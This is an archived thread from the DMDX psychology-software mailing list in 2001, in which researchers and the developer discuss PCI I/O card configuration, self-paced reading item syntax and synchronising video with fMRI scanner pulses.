by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA02722 for ; Fri, 16 Mar 2001 10:14:58 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3AB237A500001339 for DMDX@psy1.psych.arizona.edu; Fri, 16 Mar 2001 10:14:57 -0700 Message-Id: <5.0.2.1.2.20010315164749.009ebc40@psy1.psych.arizona.edu> Date: Thu, 15 Mar 2001 17:01:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: References: <5.0.2.1.2.20010313171555.009ee780@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:10 PM 3/15/01 -0500, you wrote: >I've got two pieces of info: From the properties sheet for the card, I get >the memory range as starting at > > C0 EE BF FE > >And from the properties sheet for the driver for the card, I get the >following as the starting value for the memory range > > FE BF EE C0 > >So I am guessing that I need a conversion (suggestions?) to obtain values >that TimeDX can use. But I'm a little confused by the inverted orderings >on the pairs. Ideas? The card should not be reporting memory ranges at all, it should be reporting an Input/Output Range. The card should have a 4 byte I/O range assuming it is actually emulating an 8255 (and it will have to if DMDX is to use it), if it's reporting memory addresses it either needs to be configured differently or it's not usable as it's not emulating an 8255. Right click on ""My Computer"", click the Device Manager tab, select the card, click Properites, click the Resources Tab. Tell me what it says in that window. Alternatively right click on ""My Computer"", click the Device Manager tab, click View Devices by Connection, select Computer, click Properites, click Input/output (I/O), find the card and tell me what's on that line. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 16 11:42:28 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA02934 for ; Fri, 16 Mar 2001 11:42:11 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id NAA13843 for ; Fri, 16 Mar 2001 13:42:10 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f2GIgB225593 for ; Fri, 16 Mar 2001 13:42:11 -0500 (EST) Date: Fri, 16 Mar 2001 13:42:11 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: <5.0.2.1.2.20010315164749.009ebc40@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan -- according to the Keithley specs and docs, the card DOES emulate the 8255. With regards to your questions: > Right click on ""My Computer"", click the Device Manager tab, select > the card, click Properites, click the Resources Tab. Tell me what it says > in that window. ""Use auto settings"" is checked (the machine is running W'98). Interrupt request 11 Memory range FE BF EE C0 FE BF EE FF Memory range FE BD EE A0 FE BF EE BF > Alternatively right click on ""My Computer"", click the > Device Manager tab, click View Devices by Connection, select Computer, > click Properites, click Input/output (I/O), find the card and tell me > what's on that line. Doesn't find the card when I/O is clicked. It DOES find the card when I list by IRQ and memory. -Michael >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 16 12:30:40 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA03076 for ; Fri, 16 Mar 2001 12:30:34 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3AB237A5000047AD for DMDX@psy1.psych.arizona.edu; Fri, 16 Mar 2001 12:30:33 -0700 Message-ID: <3AB237A700000249@deimos.email.Arizona.EDU> Date: Fri, 16 Mar 2001 13:30:04 -0600 From: ""Keolani Taitano"" Subject: [DMDX] drive on which DMDX is run To: ""DMDX listserv"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Will there be any problems with running DMDX from a drive other than the C drive? Thanks. Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 16 14:35:37 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA03372 for ; Fri, 16 Mar 2001 14:35:20 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3AB237A500006CF4 for DMDX@psy1.psych.arizona.edu; Fri, 16 Mar 2001 14:35:19 -0700 Message-Id: <5.0.2.1.2.20010316143222.009e92f0@psy1.psych.arizona.edu> Date: Fri, 16 Mar 2001 14:35:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: References: <5.0.2.1.2.20010315164749.009ebc40@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:42 PM 3/16/01 -0500, you wrote: >Jonathan -- according to the Keithley specs and docs, the card DOES >emulate the 8255. With regards to your questions: > > > Right click on ""My Computer"", click the Device Manager tab, select > > the card, click Properites, click the Resources Tab. Tell me what it says > > in that window. > >""Use auto settings"" is checked (the machine is running W'98). >Interrupt request 11 >Memory range FE BF EE C0 FE BF EE FF >Memory range FE BD EE A0 FE BF EE BF > > > Alternatively right click on ""My Computer"", click the > > Device Manager tab, click View Devices by Connection, select Computer, > > click Properites, click Input/output (I/O), find the card and tell me > > what's on that line. > >Doesn't find the card when I/O is clicked. It DOES find the card when I >list by IRQ and memory. Well it's not emulating an 8255 until it's providing I/O ports, believe me. You'll have to find out how to configure the card or return it and get a card that does provide I/O ports. Perhaps the Computer Boards PCI card is a better choice. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 16 14:36:27 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA03385 for ; Fri, 16 Mar 2001 14:36:22 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3AB237A500006D46 for DMDX@psy1.psych.arizona.edu; Fri, 16 Mar 2001 14:36:21 -0700 Message-Id: <5.0.2.1.2.20010316143530.009ebec0@psy1.psych.arizona.edu> Date: Fri, 16 Mar 2001 14:36:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: drive on which DMDX is run In-Reply-To: <3AB237A700000249@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:30 PM 3/16/01 -0600, you wrote: >Will there be any problems with running DMDX from a drive other than the >C drive? Shouldn't be any. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 18 13:21:04 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA08055 for ; Sun, 18 Mar 2001 13:19:13 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id PAA04066 for ; Sun, 18 Mar 2001 15:19:11 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f2IKJBa09226 for ; Sun, 18 Mar 2001 15:19:11 -0500 (EST) Date: Sun, 18 Mar 2001 15:19:11 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] configuring PCI bus IO card In-Reply-To: <5.0.2.1.2.20010316143222.009e92f0@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ""Emulating an 8255"" was the critical phrase for the tech support people at Keithley. It turns out that there is an API that needs to be installed with the board drivers. This API allows for IO emulation. Installation and configuration takes a little time, but once completed the emulator assigns a fixed IO address that makes DMDX quite happy. For anyone interested in using the Keithley boards, I'll be updating the description of our tachistopic goggles with the installation and configuration instructions on our lab web site: http://www.nd.edu/~mwenger (click on ""Preprints""). -Michael > Well it's not emulating an 8255 until it's providing I/O ports, believe > me. You'll have to find out how to configure the card or return it and get > a card that does provide I/O ports. Perhaps the Computer Boards PCI card > is a better choice. >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 21 20:38:12 2001 Received: from origin.psy.cuhk.edu.hk (origin.psy.cuhk.edu.hk [137.189.166.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA16934 for ; Wed, 21 Mar 2001 20:37:29 -0700 Received: from psyw98labmandy ([137.189.166.228]) by origin.psy.cuhk.edu.hk (980427.SGI.8.8.8/980728.SGI.AUTOCF) via SMTP id MAA97579 for ; Thu, 22 Mar 2001 12:51:26 +0800 (HKT) Message-ID: <000b01c0b281$bb0eab80$e4a6bd89@psyw98labmandy.psy.cuhk.edu.hk> From: ""Suiping"" To: Subject: [DMDX] self-paced reading Date: Thu, 22 Mar 2001 11:39:38 +0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0008_01C0B2C4.C718CF80"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C0B2C4.C718CF80 Content-Type: text/plain; charset=""big5"" Content-Transfer-Encoding: quoted-printable Dear friends, =20 I'm a new DMDX user. I am tring to present a self-paced reading task = with one sentence per frame. The subject read the first sentence, press = space when they had read it , then read the following sentence and then = press space again. If the current sentence is not the target one, space = key only works to request a following sentence. But if the current = sentence is the target one, I need to get a RT for it. For I don't want = subjects to know which sentence is the target, the space bar should = worked as a response key when the current sentence is the target. After = finishing a whole passage, there will be a question and subjects are = asked to press Right or Left Shift to answer the question. =20 My question is whether the spacebar( or any other key) can be the = request key in one item, and then be the response key in another item? = Is anybody do something like this before? Could you give me an example? =20 Thanks in advance. =20 Suiping Wang (PhD) Visiting scholar Department of Psychology Chinese University of Hong Kong Shatin, Hong Kong ------=_NextPart_000_0008_01C0B2C4.C718CF80 Content-Type: text/html; charset=""big5"" Content-Transfer-Encoding: quoted-printable Dear friends,   I'm a new DMDX user. I am = tring to=20 present a self-paced reading task with one sentence per frame. The = subject read=20 the first sentence, press space when they had read it , then read the = following=20 sentence and then press space again. If the current sentence is not the = target=20 one, space key only works to request a following sentence. But if the = current=20 sentence is the target one, I need to get a RT for it. For I don't want = subjects=20 to know which sentence is the target, the space bar should worked as a = response=20 key when the current sentence is the target. After finishing a whole = passage,=20 there will be a question and subjects are asked to press Right or Left = Shift to=20 answer the question.   My question is whether the = spacebar( or=20 any other key) can be the request key in one item, and then be the = response key=20 in another item? Is anybody do something like this before? Could you = give me an=20 example?   Thanks in = advance.   Suiping Wang = (PhD) Visiting = scholar Department of Psychology Chinese University of Hong = Kong Shatin, Hong=20 Kong ------=_NextPart_000_0008_01C0B2C4.C718CF80-- >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 21 20:58:49 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA17005 for ; Wed, 21 Mar 2001 20:58:43 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by deimos.email.Arizona.EDU (5.1.056) id 3AB8AE9800014DDC for DMDX@psy1.psych.arizona.edu; Wed, 21 Mar 2001 20:58:42 -0700 Message-Id: <5.0.2.1.2.20010321205726.009eac50@psy1.psych.arizona.edu> Date: Wed, 21 Mar 2001 20:58:42 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: self-paced reading In-Reply-To: <000b01c0b281$bb0eab80$e4a6bd89@psyw98labmandy.psy.cuhk.edu .hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:39 AM 3/22/01 +0800, you wrote: >Dear friends, > >I'm a new DMDX user. I am tring to present a self-paced reading task with >one sentence per frame. The subject read the first sentence, press space >when they had read it , then read the following sentence and then press >space again. If the current sentence is not the target one, space key only >works to request a following sentence. But if the current sentence is the >target one, I need to get a RT for it. For I don't want subjects to know >which sentence is the target, the space bar should worked as a response >key when the current sentence is the target. After finishing a whole >passage, there will be a question and subjects are asked to press Right or >Left Shift to answer the question. > >My question is whether the spacebar( or any other key) can be the request >key in one item, and then be the response key in another item? Is anybody >do something like this before? Could you give me an example? Look at the and keywords. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 21 22:45:25 2001 Received: from origin.psy.cuhk.edu.hk (origin.psy.cuhk.edu.hk [137.189.166.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA17298 for ; Wed, 21 Mar 2001 22:45:10 -0700 Received: from psyw98labmandy ([137.189.166.228]) by origin.psy.cuhk.edu.hk (980427.SGI.8.8.8/980728.SGI.AUTOCF) via SMTP id OAA99590 for ; Thu, 22 Mar 2001 14:59:22 +0800 (HKT) Message-ID: <000d01c0b293$9bbf0e20$e4a6bd89@psyw98labmandy.psy.cuhk.edu.hk> From: ""Suiping"" To: Subject: [DMDX] Re: self-paced reading Date: Thu, 22 Mar 2001 13:47:34 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Jonathon. I can get DMDX to do the self-paced reading by the following syntax: +1 * ""Polo is Mary's friend.""; +2 * ""Mary has her own bookshop.""; 3 ""?????""%50/; +4 * ""Is Mary a teacher?""; +5 * ""Mark is a little boy.""; +6 * ""Jenny is his younger sister.""; +7*""One day, Mark go to the cinema with Jenny.""; 13 ""?????""%50/; +14 * ""Was Jenny go to the cinema?""; $9 ""The end"";$ However, I only need to get the RTs of item 2 and item 6(the target sentence), not every sentence, such as item1, 5, and 7, though I hope they could also present on the screen until the subject press the spacebar. How can I change the syntax? Thanks! Suiping Wang >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 21 23:02:45 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA17379 for ; Wed, 21 Mar 2001 23:02:39 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3AB681500003F1A9 for DMDX@psy1.psych.arizona.edu; Wed, 21 Mar 2001 23:02:38 -0700 Message-Id: <5.0.2.1.2.20010321225800.009d29f0@psy1.psych.arizona.edu> Date: Wed, 21 Mar 2001 23:02:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: self-paced reading In-Reply-To: <000d01c0b293$9bbf0e20$e4a6bd89@psyw98labmandy.psy.cuhk.edu .hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:47 PM 3/22/01 +0800, you wrote: >Thanks Jonathon. I can get DMDX to do the self-paced reading by the >following syntax: > > > >+1 * ""Polo is Mary's friend.""; >+2 * ""Mary has her own bookshop.""; >3 ""?????""%50/; >+4 * ""Is Mary a teacher?""; >+5 * ""Mark is a little boy.""; >+6 * ""Jenny is his younger sister.""; >+7*""One day, Mark go to the cinema with Jenny.""; >13 ""?????""%50/; >+14 * ""Was Jenny go to the >cinema?""; >$9 ""The end"";$ > >However, I only need to get the RTs of item 2 and item 6(the target >sentence), not every sentence, such as item1, 5, and 7, though I hope they >could also present on the screen until the subject press the spacebar. How >can I change the syntax? You'll want to use an instruction (no correct response indicator and no clockon, you could also optionally use an item number of 0) and map the spacebar to the request: 5 ""Mark is a little boy.""; +6 * ""Jenny is his younger sister.""; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything should be made as simple as possible, but not simpler. - Albert Einstein (1879-1955) Quoted in Reader's Digest, October 1977 >From DMDX-owner@psy1.psych.arizona.edu Thu Mar 22 02:56:32 2001 Received: from origin.psy.cuhk.edu.hk (origin.psy.cuhk.edu.hk [137.189.166.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA17855 for ; Thu, 22 Mar 2001 02:56:16 -0700 Received: from psyw98labmandy ([137.189.166.228]) by origin.psy.cuhk.edu.hk (980427.SGI.8.8.8/980728.SGI.AUTOCF) via SMTP id TAA03269 for ; Thu, 22 Mar 2001 19:10:30 +0800 (HKT) Message-ID: <000401c0b2b6$af5d6760$e4a6bd89@psyw98labmandy.psy.cuhk.edu.hk> From: ""Suiping"" To: Subject: [DMDX] Re: self-paced reading Date: Thu, 22 Mar 2001 17:58:39 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Jonathon. However, after running the following syntax +2 * ""Jenny is his younger sister.""; it won�t move on to the next item. I still not sure why. Cheers, Suiping Wang -----���l�l��----- �H����: j.c.f. ������: DMDX@psy1.psych.arizona.edu ����: 2001�~3��22�� PM 03:18 �D��: [DMDX] Re: self-paced reading >At 01:47 PM 3/22/01 +0800, you wrote: >>Thanks Jonathon. I can get DMDX to do the self-paced reading by the >>following syntax: >> >> >> >>+1 * ""Polo is Mary's friend.""; >>+2 * ""Mary has her own bookshop.""; >>3 ""?????""%50/; >>+4 * ""Is Mary a teacher?""; >>+5 * ""Mark is a little boy.""; >>+6 * ""Jenny is his younger sister.""; >>+7*""One day, Mark go to the cinema with Jenny.""; >>13 ""?????""%50/; >>+14 * ""Was Jenny go to the >>cinema?""; >>$9 ""The end"";$ >> >>However, I only need to get the RTs of item 2 and item 6(the target >>sentence), not every sentence, such as item1, 5, and 7, though I hope they >>could also present on the screen until the subject press the spacebar. How >>can I change the syntax? > > You'll want to use an instruction (no correct response indicator and no >clockon, you could also optionally use an item number of 0) and map the >spacebar to the request: > >5 ""Mark is a little boy.""; >+6 * ""Jenny is his younger sister.""; > > > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Everything should be made as simple as possible, but not >simpler. > - Albert Einstein (1879-1955) > Quoted in Reader's Digest, October 1977 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Mar 22 09:02:17 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA18665 for ; Thu, 22 Mar 2001 09:00:47 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by deimos.email.Arizona.EDU (5.1.056) id 3AB8AE980001CC99 for DMDX@psy1.psych.arizona.edu; Thu, 22 Mar 2001 09:00:45 -0700 Message-Id: <5.0.2.1.2.20010322085534.009e2380@psy1.psych.arizona.edu> Date: Thu, 22 Mar 2001 09:00:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: self-paced reading In-Reply-To: <000401c0b2b6$af5d6760$e4a6bd89@psyw98labmandy.psy.cuhk.edu .hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:58 PM 3/22/01 +0800, you wrote: >Thanks Jonathon. However, after running the following syntax >+2 * ""Jenny is his younger sister.""; >it won't move on to the next item. I still not sure why. Because it's looking for a request after the response but you've mapped the spacebar to the positive response so it can never see a request. On the items you are using to gather a response with the spacebar you probably want to force the item to continue by putting a C in those frames. Alternatively you can put in the parameter line and renumber all the items that don't gather an RT to 0 as items with item number 0 have the special property of always waiting for a request when is active. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything should be made as simple as possible, but not simpler. - Albert Einstein (1879-1955) Quoted in Reader's Digest, October 1977 >From DMDX-owner@psy1.psych.arizona.edu Thu Mar 29 15:35:00 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA06033 for ; Thu, 29 Mar 2001 15:34:02 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3AC191190002CCCA for DMDX@psy1.psych.arizona.edu; Thu, 29 Mar 2001 15:34:01 -0700 Message-Id: <5.0.2.1.2.20010329152205.009e32a0@psy1.psych.arizona.edu> Date: Thu, 29 Mar 2001 15:34:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Looks like we won't be seeing a new version of DMDX any time soon. While I thought leveraging the strengths of 3D cards would yield a far more robust DMDX it would appear that any benefits to be had require will very recent hardware. That and drivers that don't exist yet. While I can build a tachistoscopic display easily enough what I can't do is use multiple threads to update the display as DMDX's current design would entail. All drivers are summarily blown out of the water one way or another. I'll keep plugging away but either DMDX's display routines will undergo a complete overhaul so all display operations occur within a single thread or things like Digital Video will be dropped. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 5 06:49:54 2001 Received: from mx02.uni-tuebingen.de (mx02.uni-tuebingen.de [134.2.3.12]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA23925 for ; Thu, 5 Apr 2001 06:49:12 -0700 Received: from uni-tuebingen.de (n-mot-p2.neurologie.uni-tuebingen.de [134.2.137.55]) by mx02.uni-tuebingen.de (8.9.3/8.9.3) with ESMTP id PAA00647 for ; Thu, 5 Apr 2001 15:48:52 +0200 Message-ID: <3ACC77C0.31C8EF17@uni-tuebingen.de> Date: Thu, 05 Apr 2001 15:48:49 +0200 From: Bert Kleine MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] fMRI + video Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDXers, I am a new DMDX user and want to use it to display MPGs in a fMRI experiment. The scanner sends one ttl-pulse for each scan (28 per 3 s) or one pulse per volume (TR = 3s). The pulse is fed into the gameport. To synchronize video and scanner I want that DMDX waits for some pulses and then starts to display the MPG. Responses from the subject are not needed in this case. Something like 0 ""wait for MR pulse ""; 0 ""wait for another MR pulse ""; 1 ""video1.mpg"" /; seems to work, but the delay needed for reading and prepearing the MPG differs differs between trials. Can I somehow put the lines into one or foce DMDX to do the time-consuming jobs before the pulse ? Thanks for any suggestions, Bert Kleine University of T�bingen Dept. of Neurology Hoppe-Seyler Str. 3 D-72076 T�bingen, Germany >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 5 09:49:41 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA24345 for ; Thu, 5 Apr 2001 09:49:15 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by deimos.email.Arizona.EDU (5.1.056) id 3AB8AE98001414FB for DMDX@psy1.psych.arizona.edu; Thu, 5 Apr 2001 09:49:14 -0700 Message-Id: <5.0.2.1.2.20010405094311.009fbc10@psy1.psych.arizona.edu> Date: Thu, 05 Apr 2001 09:49:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: fMRI + video In-Reply-To: <3ACC77C0.31C8EF17@uni-tuebingen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:48 PM 4/5/01 +0200, you wrote: >Dear DMDXers, > >I am a new DMDX user and want to use it to display MPGs in a fMRI >experiment. >The scanner sends one ttl-pulse for each scan (28 per 3 s) or one pulse >per volume (TR = 3s). The pulse is fed into the gameport. To synchronize >video and scanner I want that DMDX waits for some pulses and then starts >to display the MPG. Responses from the subject are not needed in this >case. >Something like > 0 ""wait for MR pulse ""; > 0 ""wait for another MR pulse ""; > 1 ""video1.mpg"" /; >seems to work, but the delay needed for reading and prepearing the MPG >differs differs between trials. Can I somehow put the lines into one or >foce DMDX to do the time-consuming jobs before the pulse ? No, that leading time is part of DirectShow, not under our control. The best you can do is note the preparation times for all items and find the longest one, convert that to ticks and then use that plus a bit as a parameter fixing the ISI between trials to that amount thus allowing a constant time from the fMRI's signal to DMDX's commencing display. If that's too inconvenient because the delay is too long you'll have to give some serious though to having DMDX trigger the fMRI -- which tends to be the way most people use it with DMDX as the controller rather than the controlled. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything should be made as simple as possible, but not simpler. - Albert Einstein (1879-1955) Quoted in Reader's Digest, October 1977 >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 5 10:16:48 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA24485 for ; Thu, 5 Apr 2001 10:16:41 -0700 Received: from pc111 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 5 Apr 2001 18:16:13 +0100 (BST) Message-Id: <3.0.5.32.20010405181704.01acc980@pophost.mrc-cbu.cam.ac.uk> Date: Thu, 05 Apr 2001 18:17:04 +0100 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: fMRI + video In-Reply-To: <5.0.2.1.2.20010405094311.009fbc10@psy1.psych.arizona.edu> References: <3ACC77C0.31C8EF17@uni-tuebingen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a bit tricky - we've had similar problems (though less serious) using DMDX to play out speech files in sync with an fMRI scanner. The solution we used is the same one that Jonathan suggested, noting down preparation times and then adding a bit of leeway for the delay parameter. Of course, you need to check this on the same machine as will be used in the scanner. You also might want to ensure that that machine's hard drive is not too full and gets defragmented regularly (since this will affect disk access times). An alternative solution is to use DMDX to record the pulses from the scanner (one per TR) - that way you can use the DMDX output file to reconstruct the exact time (in scans) at which your stimulus presentation occurred. This solution allows DMDX timing to drift somewhat but would still allow you to use the correct timings when analysing your data. I think that this is what Jonathan means (using DMDX to trigger the acquisition of an MRI scan is not practical since the fMRI signal will vary depending on the inter-scan interval). The ideal solution, however, would be to include an option in the software for DMDX to load video and sound files into ram at a pre-specified time (e.g. before the start of a run). This would depend on having a machine with lots of RAM (especially for video files). Is there any chance of this for a later version of DMDX? Matt At 09:49 05/04/01 -0700, you wrote: >At 03:48 PM 4/5/01 +0200, you wrote: >>Dear DMDXers, >> >>I am a new DMDX user and want to use it to display MPGs in a fMRI >>experiment. >>The scanner sends one ttl-pulse for each scan (28 per 3 s) or one pulse >>per volume (TR = 3s). The pulse is fed into the gameport. To synchronize >>video and scanner I want that DMDX waits for some pulses and then starts >>to display the MPG. Responses from the subject are not needed in this >>case. >>Something like >> 0 ""wait for MR pulse ""; >> 0 ""wait for another MR 